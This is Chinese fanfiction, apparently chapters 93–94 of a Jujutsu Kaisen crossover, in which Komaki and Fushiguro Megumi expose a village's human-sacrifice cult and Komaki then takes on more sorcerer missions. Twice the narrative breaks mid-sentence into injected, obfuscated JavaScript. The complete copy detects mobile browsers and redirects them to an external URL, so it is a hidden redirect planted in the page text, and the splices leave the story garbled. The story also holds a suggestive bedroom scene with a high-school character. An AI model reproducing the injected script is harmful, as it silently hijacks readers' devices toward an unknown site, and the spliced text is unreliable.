一点也不觉得好笑的伏黑惠捂住了小莳的嘴。 过了一会,她问:“你刚刚是不是用那只手摸过树干和树根的?” 伏黑惠迟疑,僵硬,然后点头。 小莳站远了一步,神态防备:“在到目的地前你都别碰我了。” “……对不起。” 对不起也没用,小莳下定决心要和他在一段时间内保持距离。 93. 第 93 章 这小村庄老龄化严重,小莳疑心这些人加起来也打不过一个伏黑惠。大家的热情态度都可疑,直觉再一次发挥作用。 “全村的人都是坏东西。”她一脸甜蜜地在男友耳边小声说着内容截然相反的话,“这地方一点也不排外。要是不排外就见鬼了,什么星巴克和保险都能入驻到这里来。可你看这里除了田还是田,资本主义到周围都被结界挡住了。” 伏黑惠觉得比起“进不来”,更像是对这个规模过小的村落一点兴趣都没有。可小莳在企业管理方面虽然不算专精,却也知道财报里净新开门店、人力成本率、门店成本率这些东西--数据归数据,造假的水分也十分之多。简单来说,就是把地方经济搞得一团糟再让自己的报表好看点,最后跑路的一套小连招。 如果没有相应的措施,像这样的小村落会被进一步榨干,等到像葡萄被嘬得果肉全无只剩一层皮,才会被丢到垃圾桶。她没说从征十郎那边听来的这些,只在男友借口说自己是观察野鸟时没忍住脸上的表情。 面前的村民因为配合内讧的俊俏情侣而不知道该不该帮他们找补时,小莳摆摆手,说:“不好意思,我们学校不给谈恋爱,逃课出来的啦~” “呃,那……要不回去上课?年轻的时候课业不能落下。”淳朴的乡民开始挠头,他放下手中的锄头。 他人还怪好的,小莳亲昵挽住男友的手:“不过春季确实也是野鸟飞还的季节,能看到城里行迹罕见的漂亮鸟儿,我也会高兴呢。大伯,附近有住的地方吗?旅馆,饭店,民宿?” 农民盯着他们看了一会,随后指了个向村庄中心的方位,那里有一户奥野家,提供类似于民宿的服务。但是这里什么都没有,小地方,只有一点自然风光可以算得上别致。 听出了对方委婉的劝回和一点欲拒还迎的意思,小莳摆了摆手,没什么礼貌地靠在伏黑惠身上,推着他往那里走。 她贴着男友的耳朵:“世界上大多数普通人,都有善恶人伦,但牵扯到利益的事情最后都会在徘徊不定中难以决断。人性的拉扯感偶尔有趣,大部分时候也就这样。连村口种地的都知道这里面有些不妙,现在你相信这是共谋了吧?” 伏黑惠也有在心里做出猜测然后等结果揭晓后看正确与否的兴趣,不可否认这会给他点快乐,但这会他只觉得疲惫。他当然会想到这是某种邪恶的默契,大家一起坑害外地人,然后搞些迷信的献祭,很有可能这村中某个地方有祭场,或者干脆在祠堂里摆设人牲。 这种法不责众难以断罪又令人烦心的事情,猜对了也开心不起来。 他低低应了一声,没有接着聊下去的意愿。 小莳在手机上搜索起附近的候鸟和自然景观。网上几乎什么都没有,应了那句人迹罕至。难怪失踪数人,好几个月才锁定到这里。 奥野家的态度比起村口的迟疑农民热情得多,可能越近村中心这里的人性程度就越低。他的笑眼在看的并不是两个逃课离城有无限未来的年轻人,而是一滩血肉,供上案台的以祈求来年丰收或者其他什么的代价。真可怕,小莳差点就毛骨悚然了。 她吃了野菜。伏黑惠还吃了一碗饭。 这民宿里连个旅游地图都没有,他们还叮嘱两人别走太远,晚上容易迷路,记得回来吃晚饭。吃过了此生第一的下午茶后,小莳对晚餐提不起兴趣。 她跟着男友在村庄附近绕了一圈,一个身上有咒力气息的人都没有。他问小莳的意见,小莳的意见就是希望他快点把这事解决。奈亚今晚做了拌饭和虾球,可她吃不到了。 因为她在并盛几百公里外的荒郊野岭里实地考察。 他牵着她的手:“村民显然不会配合坦白,但如果是小莳的话就能更快破局。” “确实,这次的事情只要把奥野那家镇服了就能很快找到诅咒源头……或许他们其实是什么教团的仆从,这一切都和诅咒没关系,村民只是受了不知道哪来的影响,翻阅了不知道什么时候流传的典籍,爱吃人,然后将尸骨埋在某个信仰地。这事情是纯人为也不一定哦?”她发挥想象力,开始吓人,“不能小看愚昧的人能做出的恶行,从本质上来说,当代的人类和数千年前奴隶文明时期是同种。” “……” 小莳越想越觉得在这件事上五条悟把自己当助教,就是为了锻炼学生的综合应变能力,她就顺水推舟:“交给你了,惠。目前看来这个村里人都和善得像面具,没什么值得被拯救的,【窗】还存活的概率几乎为0,你想温和点来还是大干一场都可行,只要确保最后没有人因为调查而死亡,方便交差。”她的意思是断了条腿落下病根什么的,或者一两个月以后不治身亡的不算。 伏黑惠应下的样子稍微有些勉强,他随后就建议先回去和民宿那户人家聊聊,先预设却有诅咒存在,再进一步验证。小莳说他想做什么就做,因为现在他才是调查主役。 夜晚的树丛幽深,月光照进来都张牙舞爪,远远近近偶有黑漆漆影子里传来的声音,令人不安。伏黑惠跟着玉犬·浑,一只手挽住小莳的胳膊,在斑驳的暗光下返回住所。 他们受到了更热情的嘘寒问暖与招待。小莳对整个村落都失去了兴趣,决定让男友解决问题后就更不上心,对奥野家人的态度都敷衍起来,只盯着手机“嗯嗯嗯” 不得已健谈的逃学高中生解释说因为女朋友想家了,想念城里的热闹。这与她现在的兴趣缺缺的状态正相合,于是民宿的老人也就多和他闲聊起来。 被问及准备在周边观察野鸟到何时,伏黑惠请他们再收留一晚,后天清晨他们便离开此处。老头笑眯眯说好啊好啊。截至目前,两位咒术师就都知道最迟到明天这些人就会下手了。 最早明晚就可以不吃野菜的好消息振奋人心,小莳激动地从男友碗里挖了一勺米饭拌菜,包括伏黑惠在内的其他所有人都将目光看向她。 这似乎是一种亲密过头以至于失礼的行为,她的餐桌礼仪也就那样,但心理状态已是nextlevel,小莳解释:“突然有一种想吃饭的冲动,我怕夜里饿。” 在那之后,他们给小莳和伏黑惠安排了一间房,两套床铺,在小别墅的二楼。这里的楼梯吱呀吱呀,木头年岁久了还有点腐朽,一旦下楼声音极其闹人,位于楼梯旁的主卧里人一下就能被吵醒。 不过只要从窗户外面跳下去就一点事没有,根本难不倒他俩。 出门在外忙活的绝对不会是小莳,铺床的是伏黑惠,调整水温的是伏黑惠,最后还提供了一件换洗衬衫作女友的睡衣。 他本人很是脸红,吃饭的时候也是,这时候也是,小莳……她光腿勾起被子,趴着横在床铺上看好友动态。初春也有些冷。 “我本来还有点担心你太瘦了,我穿不下。幸好,我的身材也还不错。”小莳回头时发丝扬开,露出线条清晰的脖颈,延伸到衬衫内里。 他赤脚蹲在她面前,帮忙扣好了扣子。她在男友完成以后握住他的手腕,翻身坐起,拉着他接吻。一吻结束,她舔了舔嘴唇,然后在他耳边又亲了亲。 伏黑惠搂着小莳,承担她身体的大半重量,轻轻问:“小莳,很喜欢我?” 她说当然,虽然在一起的时间也不过百来天,但他的可靠性格已经深入人心,一段长久的关系仰赖的除了激情还有什么?小莳认为是信赖。而她信赖他。 这会她叉开腿,被男友拥在胸膛,她完全坐在了他跪坐的腿上。小莳抬起伏黑惠的下巴,低着头又在对方红润的嘴唇印下一吻。 他又问:“那你有多喜欢他?” 她说普通喜欢,回答得很快,而且对答案自信。“因为我不太信任他,你懂的。” “信任之外呢?” 她说:“除了不值得信赖之外,他人还不错。首先可以确定他不会把我干掉。” “……那,他有多喜欢你。” 小莳认真对待这个问题,她终于放下了手机:“据说超爱,我偶尔会因为甚尔的话良心不安。但只是十次里的一次。” 伏黑惠又急急问她:“他会和你说什么?” 聪明的小莳当然不会回答,她一次又一次用唇瓣描摹他耳垂的轮廓,然后沿着柔软的皮肤一路沿着往下轻吮。 伏黑惠又问一遍,他恳请她不要隐瞒。她于是说:“感觉同时和两个人恋爱怪不好意思的,甚尔总是想暗示我对他有亏欠,所以我偶尔会良心隐隐作痛。你可以简单地理解为精神状态上的生理期。” “……”又过一会他才抵住小莳的额头,承诺一样开口:“我对你的爱绝不比他少。” 她说:“我知道,我也是。”要说亏欠,比起突然插足的家伙,她肯定更对伏黑惠有愧。她说,四年以后如果他们还在一起就去结婚。 伏黑惠没说话,呼吸都轻了。于静默中,小莳开口:“等等,这样说感觉我们中有人活不到四年后。哇!” 她被一巴掌轻拍在了屁股上。 伏黑惠逐渐在恋爱中放飞了自我,又是说她不礼貌,又是打她,真是困扰。 小莳被推倒在被褥,头发散开。再下一层就是硬的榻榻米,舒适度和床垫毫无可比性。他跪趴在她的□□,一字一句说:“说好了,等到2023年我们就去登记结婚。” 然后他吻她,一下又一下。 “你只能和我结婚。” “等等,这不是我们刚才约定的内容吧?说的明明是【如果还在一起】,万一分手了呢?” 伏黑惠的轻吻停了下来,他撑起身子:“不会分手。” 小莳在两人空暇间安放了自己的胳膊,她捏着下巴计算:“1300天,难说。万一禅院直毘人给你介绍对象,然后对方真的是还不错的女孩,我们岂不就和平分手了?” 他几乎是忍着怒火说不会有这种事。 却是小莳语重心长,阐述她在两个世界,两个国家的见闻:“毕竟两性关系的市场一直仰赖男性居多,对于具有身份地位的雄性来说,婚恋市场上的相当一部分雌性其实是被挑选的。用经济学的那一套解释,现在是男方市场。我从来没有怀疑过你的天赋和才能,所以也确信在未来你会相当受欢迎。等到那时你可以找一个女朋友出去玩,另一个做秘书,再来一个工作搭子,就像现在的很多人一样。如果是我能得到这种优待的话,我一定不会第一时间拒绝。” 是的,小莳没有。 不良诱惑无处不在,很容易就中招了。她当然不会让自己沦落到被挑选的境地,但事实上失权的人总是沦于被动,而一般的社会学观点来看……客观上存在不少失权女性。 在伏黑惠咬牙切齿问出“这就是你没有拒绝伏黑甚尔的原因吗?”后,小莳意识到不妙,但有点晚,伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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伏黑惠知道她说的一切,也理解了她想表达的内容。因为打从他有意识起,他也会怀疑并审视遇到的所有人和事,考核与验证贯穿他的成长始终。他的大脑从不停止思考,就像金枪鱼的一生都在游泳,否则就会失去氧气而死。这是他无法控制的事情,就和爱她一样,在听见女友承认“想到最远的事情就是结婚”时,他的心里甚至升起名为感动的情绪,在几十秒之前他还怒火中烧,因为她的冒昧,因为她将他的感情把玩过后丢到一边,随口说了根本不可能发生的事情,这无疑是一种轻贱。 这个糟糕的话题最后由他终结,他问:“那四年以后,如果我们在交往中,就结婚。时间就定在四月,好不好?” 小莳很认真点头说好。 伏黑惠又拉着她说了关于他们的事情,说他愿意更多的了解她,愿意为两人共同触手可及的未来努力,如果未来也有伏黑甚尔,他会努力适应,但是无论如何也不可以再有别人了,他们谁都不可以。 由于他说得像是美梦一样好,小莳仍然半信半疑,因为现实要是有这么美好世界上就不会有除不完的咒灵了。偏差才是世间最常见的东西。 伏黑惠拢住她的肩膀:“你说你在父亲之前没有喜欢过任何人,所以难免在开始抱有对他本性之外的期待,只是和预期不符才失望而离开。我也是,小莳,你是我爱上的第一个人,我当然会愿意期待和你在未来幸福的一切。只有一点不同,你从来没有让我失望,你……你为什么不愿意相信,我也同时为你的灵魂着迷呢?” 小莳紧张兮兮抬头:“如果我说我不信,你岂不是就会把我当成随便骗小男生做坏事的坏女人了?”这话她可不敢反驳,不然罪名就大了。 他笑着说不会,然后轻啄她的眼皮和鼻尖。 直到楼下传来推拉门的声音,他们从窗户往外看,看见提着照明灯离开家门往村后方向走去的奥野老头。两人对视一眼,伏黑惠这就准备出门跟上,而小莳不乐意再调查,将事情全部交给他。 黑夜是绝佳的隐匿,伏黑惠的身影也很快消失在她的视野中,小莳轻叹一口气,躺会暖暖的被窝。有时候男朋友脑袋太好,想事情特别快也让她有点压力。 她清楚的记得自己和他的第一次就是……在她说了自己绝不会因为和他发生什么而受伤之后。结果恋爱谈到现在连结婚的事情都说好了,如果这是他人的故事,她一定会直呼不靠谱。 但如果是惠惠,就觉得倒也顺其自然。 小莳再一次觉得自己陷入了某种无法掌控的情绪,上一次在此的失败让她有点胆怯,但考虑到上一个失败对象现在也不知怎么的说是爱上她了,伏黑惠看上去又比甚尔更加靠谱。 总之,好像也可行。明明第一次见面的时候只以为对方是冷淡羞怯的普通小孩,交往起来才发现他的感情真挚热烈,像灼不伤人的金红火苗。 小莳在美好的企望中睡着了。伏黑惠跟到祠堂后听了一段关于蛇神大人祭祀的有关事宜。命不久矣的老警察在临终前几天能看到咒灵,它恰巧在祠堂,在一番愚蠢的误会中,不知何因死去的第一位被传成是因为不敬神而遭遇天罚。 此后,一开始只是长得可怖而实力根本没有的咒灵被害怕神明发怒的村民供上了一餐又一餐祭品。乡人的敬畏,祭品的恐惧,血食的饲养,它现在是个略逊于咒胎诞育的特级,已然不容小觑。如果不是有平民无辜受害,这就只是个令人啼笑皆非的迷信行为,现在,这是全村人的罪行。目前的祭品备选是一个本村的不幸之人,但既然已有外人到来,奥野承诺此人,只要明天能顺利抓住两个小情侣,就放过他。 伏黑惠对自己的实力评估为一级,虽然他评一级月余,但考虑到咒力已经能够支持领域展开,他有一定把握能够安然祓除。 原路返回,女友已经睡下,他便也贴在她后背,拥着入睡。 94. 第 94 章 翌日清晨小莳洗脸的时候听完了全部,她问:“你打算怎么办?” 伏黑惠不确信,挑了几条要点分析。一是下次要上供的日子近在眉睫,最好别让那个本村祭品就这样死掉;二是这里的信仰已经根深蒂固,此前献上的无辜之人性命约等于沉没成本,想要扭转他们的迷信也困难;最后,他不认识遇害的【窗】,也不认识任何一个受害人,但为虎作伥的帮凶就在眼前……这正是最让他犹豫的。 偏见和无知催生的愚行是挺让旁观者难受,小莳理解。但是见多了,如果桩桩件件都插手只会苦了自己,如果是她处理的话,就普通地把祠堂里的邪神mini版祓除,然后看心情让村里失踪几个人--地狱之眼已经有一阵子没开伙。伏黑惠怎么选都是他的自由,她只负责让他别挂心难受。 “你说的这个蛇神,它长得像蛇吗?” 伏黑惠没想到女友突然问这个,想了一下回答:“应该吧。上一个能见到它的人似乎把它当成山川河流新生的荒神,直接定成蛇神大人。远离城市的乡村…不能对他们考据的水平抱有期待,大抵就是形似蛇类。” 她笑着调侃:“这下知道这么小块地上八百万神明是怎么来的了,不愧是一个仙人遍地之国。蛇神大人要是早生些年,搞不好能赶上平安时代魔神战争。”日本这些个传说,主打一个四面环海,全是水份,而且千年之前的诅咒们可强了。 “……” “我本来还想说,这个蛇加上越吃越强的设定,莫非是贪吃蛇转生来的?结果是八百万分之一,突然就普通起来了。哈哈,如果是惠惠你的话,应该能轻松解决,然后轻松地回城里吃饭。”小莳伸了个懒腰,“反正脑袋不好又自以为很会思考的人总会成为社会不稳定因素,把他们当成正常人类来看待只会让内心对于人类的判断水准疯狂降到猴子的level,这就不得不说到我的一位故人。说到这里,你知道吗?动物园里的猴子也会搞小团体,有的猴子还会虐待其它小动物。”有些猴子还会虐猫呢。 “夏油杰吗?我没想做到那种程度,我只是……对这种程度的人性之恶还不能坦然视之。” “当然啦,说到他只是因为前几天才和他聊天,这村也确实很符合我的刻板印象。理想主义情结过重很容易被刁民套路,但是你从来就不相信他们,也不会被这种程度的假象欺瞒。我认为你的处理方式会比我所知的大部分决策者都公正。毕竟【不平等地拯救他者】,其尺度要基于理性的判断,而理性……也是你身上值得注意的天赋呢。顺便,我认识的大部分有决策权的人都有点疯劲,对于随手能裁决的弱者,思考要在感觉之后。” 小莳一副我懂我懂的样子,人活着才有明天,遇到伏黑惠算这些人撞大运咯! 伏黑惠的说法,给小莳一种“此人明明实力不错却过分谨慎”的感觉,如果是她,昨晚顺便就把咒灵祓除,早点收工早点吃饭,也许真的有人很爱野菜的本味,但绝不包括她。感觉不如工业化浸染的调味食品。 在理性的一端行太远,也会损失一定程度的想象力吧,大概。这也是一种代价。 他若有所思。 本想下意识说自己当不得女友的如此高看,但是他想到了她身边认识的决策者:多数都在意大利,身份在黑方,少数是他也认识的咒术师。她没说谎。论理智自己确实……虽然还不能担当决策者的身份,但这一认知给了他自信,伏黑惠的心情也因此不复低沉。 村里的早饭是符合小莳低预期的野菜。一天三顿,顿顿野菜。 咒灵祓除在两小时后。 祠堂是个没人愿意靠近的地方,这里供奉着定期遵循医嘱吃人的荒神,除了祭祀已经无人特意前往。但是不间断的橱柜翻倒一样搬家的动静还是引起了注意。小莳坐在屋顶上,在一层幻术的隐蔽中眼睁睁看着院外的人从三两个,到几乎全村的人口都跪趴在门口,在奥野老头的带领之下嘴里念念有词,说一些明显不专业,只能是自娱自乐级别的祷文。 三流电视剧里的都比这个通畅,不知道是哪个没文化的想出来的。 接下来的一切都不在村民的料想中,他们怯懦又虔诚地献上自己的信仰,乞求神明不要轻易动怒,今晚就给祂上贡。 可门被推开时,出现的并不是神明,而是伏黑惠的倦容。他宣布所谓的蛇神已经被祓除。 没人问他为何会出现在这里,村名们又呼啦啦转了个身,将他视作斩恶灵的救世主,他们用刚刚还在跪对面的膝盖对着高中生再拜一下。 在这个村里虽然没有吃到肉类,但小莳觉得自己学会了一种一鱼两吃的极限做法。小莳胡思乱想着得让甚尔看看什么才是真的舍弃了尊严,前倨后恭都不足以形容这些人。她动作上一点没耽搁,轻盈地跳下屋檐,在伏黑惠回头时正好走向他。 “呜呼,看来我们不用在这里吃午饭,真好,我早就想说了。”她叉着腰,后半句对着伏倒在众人的最前面领头的民宿主人说:“你们这的野菜做成天妇罗都难吃,好好反思一下旅游业发展不起来的原因吧。下次不许再把游客做成一道失传已久的美食了,知道吗?”做点人吃的东西。 闹剧的开场就要有与之匹配的落幕。 伏黑惠没对村民做什么。 他报警了,举报了一起由乡贤牵头组织的活人祭祀迷信活动,目前已有几位受害者,经过调查并不存在所谓的神明,只有缺乏道德的鼓吹与疯癫滋生的刑事犯罪。 作为参与见习任务的学生,理应干完就走;但作为经认证的一级咒术师,以及获得本次责任人也就是小莳支持的主要执行者,他能稍微为后续的事情做些准备。 实际一直在旁观的责任人小莳对事件的发展大为震惊:“你……又让我想起一位故人。”真遗憾工藤新一的威名只在米花町传播,不过想来男友的正义标准比之侦探的还是灵活不少,毕竟咒术师是更为考验人的职业。平心而论,这样处理也正合适,咒术界无法做出的裁定,有处理社会事务的司法机关和公安来定论。 小莳没想到这一点。也许是因为她的职业原因,不容易想到找警察;也许是她本来就缺乏社会层面的秩序意识和原则意识,她也是自己所说的“思考要在感觉后”一类人。无论如何,在这件事情背后她看到了男友身上一些更珍贵的品质,那是她不具备的。伏黑惠从不缺乏怀疑与批判精神,随之彰显了理性。剔除多余的自我意识后,所剩就是对事实的追问和分析。最终,基于逻辑的桥梁,他能看见自己之外更多的东西。 “看来你有不少故人。”辛辛苦苦半天,听到左一个右一个其他人并不让他高兴。 不过他们终究是不一样的,小莳就是一个想象力丰富,思维也跳跃的人。她没接着伏黑惠的话往下说,而是恍然大悟,如同被一道闪电的光照明了思路:“一个人会喜欢上另外一个人从来都不是没有缘由的,至少对我来说应该是这样。我以前从来没喜欢过自我克制类型的冷淡系,我是说就算是流行电视剧里也没有:这种元素相当潮流,很多姑娘也超爱。突然对你有感觉的原因我也没研究过,只当自己变了口味。现在想想事实远非如此。” 小莳双手握住伏黑惠受伤的手腕,拢在手心:“克制只是一种能够伪装出来的表象,不说稀缺,它甚至不值钱。但你,我想我大概是被和我截然不同的特质吸引了,你不把自己看得很重要,比起想象力更重视事实,并且持续贯彻。我以为是冷淡系比较合我心意,没想到是理性思维的魅力。惠,你身上真的有很特别的地方,让我觉得值得……珍惜。”之前觉得男友想象力匮乏的成见她决定抛在一边,因为那是幻术师的偏见,而伏黑惠所能看见的,是世界的另一面。 在来时的路上小莳因为男友的手碰了树干再捂她的嘴而生气;回去的密林中,他衣衫有脏污,身形也狼狈,但她却不在意。小莳用自己干干净净的身体凑近他,在说了一通突如其来的告白后抬头亲吻他。 在伏黑惠还没想好措辞时,小莳已然舔了一圈唇周,感慨:“没想到我还是个智性恋呢,真是是时髦。一般来说,网络上智性恋约等于学历歧视和工种歧视。首先排除掉上不了大学的和不能坐办公室的,比如你。等等,那这么来看我也不算了。” 他无论之前想说什么,现在都只有沉默。怎么说,稍微习惯女友突然的真情流露又突然说起令人恼火的话。他拽住小莳的手腕,将她环绕在怀里,俯身侧头,加深了之前草草了事的亲吻。 关于故人的话题,没人在意。 * 回程的车上,小莳得知了一个不幸的消息,在接下来的五天内,要处理的任务有十个,其中两个为不明等级的调查任务,五个一级,还有三个着急完成的报告。 任务多杂也就算了,但:“报告是什么?你五条先生也没和我交接。没听说过咒术师还有文职工作啊?” 伊地知洁高虚弱地说有,只是五条先生拖着拖着直到这周他决定放下任务做其他事,安排他把事情托付给泽田小姐。 ……有种三个月不扫地,等家政来了送一个烂摊子的既视感。在了解到这份报告是要交给高层审阅后向政府有关部门呈递,小莳迅速决断:“所以报告写得再好,就像是在泰坦尼克号上升舱一样,对吧?”高层……写完万一负责批阅的高层去了另一个世界怎么办? 不写,工作完成进度立达30%。 这伊地知可不敢接话,一艘要沉的豪华邮轮代指什么他想都不敢想,职场人的敏感点遍布全身,他当即介绍起另一起调查事件。 伏黑惠看了一眼双手抱胸倚靠在车门和座椅软垫的小莳,她合眼像是在浅眠,只在偶尔的时候针对伊地知先生提出一两个问题,好像早已习惯作为一个咒术师的日常。她是如此值得信赖,没人怀疑她会完不成任务,可小莳只是一个去年末才刚接触咒术界的新入门者,假使入学高专也应当只有三年级,和秤学长一样年纪。 他满心满眼记挂着的女孩说了句真头疼啊,之后戴上了耳机,抱着他召唤出的脱兔歪头靠在玻璃窗框。他知道她算是接受委托,准备进入工作状态了。 “先把我们送到这里,有什么事饭后再说,我请客。”小莳报了一个地址,望不到头的截止日固然令人头疼,但如果干活之前一肚子碳水和纤维素则更不能忍受。 “可是窗反映区域内可能还存在未疏散的平民,根据《咒术条例》要在一定期限内抵达现场并处理……” 小莳:“你说得好,但若是我选择翘班,阁下又将如何应对?” 伊地知洁高回忆起了被五条悟支配的恐惧。 车上的盒饭她是绝对碰都不会碰的。她想,如果是警戒程度更高的任务,必然不会排在不知道什么时候能完成的乡下失踪调查之后,总监部这么安排只能说明他们自己都没觉得紧迫。 在伊地知紧张兮兮地探视和伏黑惠侧头的观望中,小莳意识到自己这番话和咒术师群体的基本理念大约有所出入,可咒术师连半个小时饭都吃不上新鲜热乎的那也太惨了吧?难道这个群体就是奔着尽一切可能让民众减少伤亡的目的而出任务的吗?即使压迫自己应该有的时间也要赶场子? 天呢,这显得她很反社会,一瞬间觉得自己像那个黑袍纠察队里的反派。 坠入道德低谷而自知的小莳及时认知了职业潜规则,最终决定折衷。在看见偏差后校准和更正也是一项优秀职场人士应具备的品格,她说:“我要吃麦当劳,可以在车上吃。”再说一次,牵扯到救援的任务是她不爱做排行榜上第一位的。 盒饭直到天黑都没被打开。 伏黑惠早在几小时前就被高专派发的任务给叫走,因不在校园,自行乘公共交通前往与辅助监督汇合。伊地知洁高在送达自愿工作的小莳到目的地后,放下帐,在车内吃完了已经冷掉的套餐,那时可乐杯里的冰块已经尽数化开而口味寡淡。 一小时后,小莳用四轮运货推车推着两个失去意识的成年人出现,身后还跟着一个一瘸一拐走路不快的小女孩。 “母亲和兄长伤势比较严重,但现在没有生命危险,可以直接送医;这女孩腿断了,我接了骨头,但好像出现了一点偏差。我是说,我的医学常识可能不足以支撑骨科方面的反转术式,你联系家入医生吧。” 她的完成速度令人咂舌,可错漏也与之对应的明显,伊地知在对方走近时清晰地看见身后的小女孩右脚完全是180°脚尖朝后的样态,他对医学一无所知也知道这多半是接反了。 还真是……如果是他的话一定会尖叫出来,这孩子居然不声不响跟在后头。 晚七点小莳,伊地知和小女孩一起抵达了高专门口。由于咒术条例和对家入硝子的保护措施,这里是最佳的就诊地点。 在习得反转术式之后,家入医生也算是她半个老师,在五条悟的介绍下帮助她进行一些相关的学习。小莳在重视的知识点上学习进度喜人,主要是那些能够影响肌体生存的头咽和五脏血管,其他地方肉眼可见的粗放。 而现在么,现在她遇到了头一次反转术式上的医疗事故。女孩被医治好后,小莳不出意外地被批评了一顿,她乖乖受教的样子让辅助监督惊讶之余也很担心自己会因为在场而被报复。 家入硝子周身淡淡的烟味窜到小莳的鼻尖,一个工作繁忙,因为职业原因还不得不做,经常熬夜加班,吃饭都难离开高专的医护人员,她的生活压力比之小莳是成倍的大。但她不抱怨,不怨怼,从年少时面对同伴离去直到现在的每日后勤工作都如数接下,工作中几无错漏,小莳相当佩服,加之是有不藏私教导之恩的前辈,被说了也只好乖乖听着,横不起来。 “如果你不确定自己通晓相关知识,就不要轻易尝试。这孩子若是直接被带到医院也能得到相应的治疗,可你出了差错,一般的医疗手段也不能修正。你没好好读我给你布置的书目吧?” 小莳低头应是,实在不好意思说自己是太忙了没空看,只说回家一定会赶进度好好学习。 “夏油和五条都说你每天有很多空闲,我应该没冤枉你,你这个年纪更不该浪费天赋。不去上学,正统的普通考试衡量不了你,这可以理解,但多出来的时间形同浪费,又有如此才能,就太令人惋惜了。”家入硝子在高专时期与两位同期关系都不错,天赋使然,她能够理解自己终将和同学们走上不同的道路,在那之后的后辈死亡,同学叛逃,作为上不了前线的人员也只好接受,可那不代表她不伤心。现在,当年的遗憾算是被填补了一些,她认为这和泽田小莳有一定关联,而且小莳悟性不错,态度良好,也比同龄人更成熟,她挺喜欢这个后辈,愿意多说两句。 小莳一点也不在乎浪费,她想要快乐,上网和上街两大调剂是人生的重要动力,对于还没找到地方去安置所谓“才能”的人而言,过好当下的生活才是重中之重。可她不会辜负好心规劝的一番良言,于是说:“我知道了,会把您的话放在心里的。” 家入医生轻笑了一声,转换了个话题,聊起五条悟最近的动向,她听说了一些,但没什么可做的,不过小莳这里倒是被托付了不少。在这个更忙的人面前小莳也不好说自己觉得辛苦坏了,她就说还好,还能适应,在说到年近30的一对老友这几天尴尬的关系时,小莳念叨了一句:“复活和分离也解决不了遗留事项,敏感时期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413162|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只会更紧张,过段时间就好了。”就像今天的医疗事故一样,问题总会浮出水面到大家不得不正视和解决的时候。 “你感觉一向准,希望这次也如你所想。”她只是,不希望事情再变得烫手。对大局根本不在乎的家入硝子掐灭了烟,抖抖衣袖,说出告别的话:“我回去善后,这次的治疗也要有报告说明。泽田,你给我加了一页纸工作量。” 这是小莳今天听到的最严重的一句话。她赶紧挥手道别。已经折腾到晚上,这时再回并盛也来不及,而且现在已经活蹦乱跳的小姑娘要送到路线相反的医院去和家人会和,小莳已经准备踏入高专的校门到久违的宿舍里去了。 却被劝阻:“等一下,泽田小姐,今晚我已经给您订好了酒店,明天的行程要乘新干线……时间上有些,额,紧张。” 小莳的头好痛。 酒店也只是普通标间,和舒适有较大距离。 伊地知洁高没做错任何事,可她暂时不想见到这张脸。 接下来的两三天,小莳体验到了此生为止的最忙碌的时刻,还是打工人最讨厌的出外勤。不得不承认,年末时期的办公室也比成天在车上赶路舒适得多。她几乎没什么时间精力和别人联系。 所以在某个任务结束,离开帐后,当小莳看到未知号码发来的信息。【你什么时候回来。】【你是不是一直都想离开,在我每次找到你的时候,你就会逃开?】【我想你了。】 是伏黑甚尔。 小莳的疲惫心情达到了顶峰。她没从消息里读出谴责和质问,但是……脑袋里自动将此事处理为要耗费时间的待办事项。要做的事情又多了一件。如果回消息的话还得解释事情始末,对方免不了又要提出几个问题,又是一段时间的消耗,光是想就觉得累。 她只回了个忙,三天后。 然而三天以后她并没有按照预期结束事宜并回家,五条悟出现在她待的酒店里,在她套房的客厅里元气满满地夸奖住宿质量。 “这我自己的升的房型。总监部的报销标准真的很抠门。”她在前两天还研读了一下外勤吃喝的相关规定,简单概括,总算知道总监部的充沛资金是怎么来的了,从劳苦底层挖掘的。 五条悟见她和上次见面完全不同了:“你变得和七海海好像,但更有攻击性的样子。” 小莳现在咒力多得可怕,如果这个人再说点什么让她生气的话她就揍他。 他很识趣地认真表达了感谢,说自己已经在昨天见过了天元大人:“和我想象中不一样,但有个不错的开端。” 她没兴趣知道更多:“所以我的任务结束了对吧?”想家了,想立刻贯彻,新干线都不想坐,想飞机回并盛。 五条悟请求她陪他见个人:“再一天时间就好,总感觉只是我的话不一定说服得了她。就算以前觉得准备差不多了,到要做事的时候,同盟永远不够多。” “谁啊?” “九十九由基。她回国以后就开始正常听从安排了,早知道去法国那次多接触下。”五条悟几乎是明摆着说,他们不熟,但害怕对方添乱。 小莳挠头,开始不负责任乱出主意:“我也不认识她,不然你找杰吧,他俩聊过天。有一定共同语言。” 完全是乱讲话,十一年前两个人明显没谈妥。 五条悟扯下墨镜:“你认真的?” 小莳栽倒在沙发上,背对他:“聊天是这样的,被误解是表达者的宿命,最终大家都只能听见自己愿意听的。”比如五条悟,他怎么就想不开要去做行政工作呢!!!身在贼船的小莳体会到了沉默是金的真言,她觉得自己要是不劝对方对高层下手就好了。 他坐在旁边的单人沙发上,翘起腿,表明没打算离开的态度:“没想到小莳居然是比我更保守的类型,我以为至少你能理解我。” 小莳一听对方让步明显的态度,迟疑起来:“理解是理解--但我的话早就跑了,和咒术界不熟,没有能任劳任怨收拾烂摊子的感情。”所以说这个家伙重视过头了,探究他的人生,貌似没必要为了大环境做到这种程度吧?果然是被每人一句“最强”给套住,强买强卖。 然而五条悟其实是自觉自愿的。他说起自己领悟反转术式那天的心情:“那个时候只是觉得世界令我心情无比舒畅,所以不憎恨谁,也不为谁悲伤。在万圣节那天,在你领悟反转术式的早晨,在你能够顺利领域展开的那天,你在想什么呢,小莳?” 小莳翻了个身,她有点想不起来,但那些时刻毫无疑问也是令她愉快的。“不记得了,可能就是咻一下,我是天才嘛。”不知道怎么总结就学贝尔敷衍。 